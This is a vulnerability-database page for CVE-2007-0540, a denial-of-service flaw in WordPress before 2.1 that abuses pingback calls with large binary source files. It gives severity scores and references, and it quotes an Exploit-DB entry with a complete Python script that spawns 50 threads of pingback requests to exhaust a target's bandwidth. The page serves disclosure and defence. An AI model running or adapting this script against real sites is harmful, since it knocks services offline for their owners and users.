CVE-2007-0540 : Detail

CVE-2007-0540

5.28%V3
Network
2007-01-29
16h00 +00:00
2018-10-16
12h57 +00:00
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CVE Descriptions

WordPress allows remote attackers to cause a denial of service (bandwidth or thread consumption) via pingback service calls with a source URI that corresponds to a file with a binary content type, which is downloaded even though it cannot contain usable pingback data.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
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Exploit information

Exploit Database EDB-ID : 29522

Publication date : 2007-01-23 23h00 +00:00
Author : Blake Matheny
EDB Verified : Yes

source: https://www.securityfocus.com/bid/22220/info WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability. Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks. Versions prior to WordPress 2.1 are vulnerable. #!/bin/env python # vim:ft=python:fileencoding=utf-8 # from xmlrpclib import ServerProxy from urllib import urlopen from random import randint from threading import Thread # Define target targetURL = "http://www.example.com/file.html" hugeFile = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d" # Fetch Pingback-URL pingbackURL = urlopen(targetURL).headers["X-Pingback"] print "Target URL: %s\nPingback: %s" % (targetURL, pingbackURL) # Attack def attack(): server = ServerProxy(pingbackURL) try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL) except: pass for i in range(50): Thread(target=attack).start() print "-- attacking --"

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 2.0

References

http://secunia.com/advisories/30013
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1564
Tags : vendor-advisory, x_refsource_DEBIAN
http://securityreason.com/securityalert/2191
Tags : third-party-advisory, x_refsource_SREASON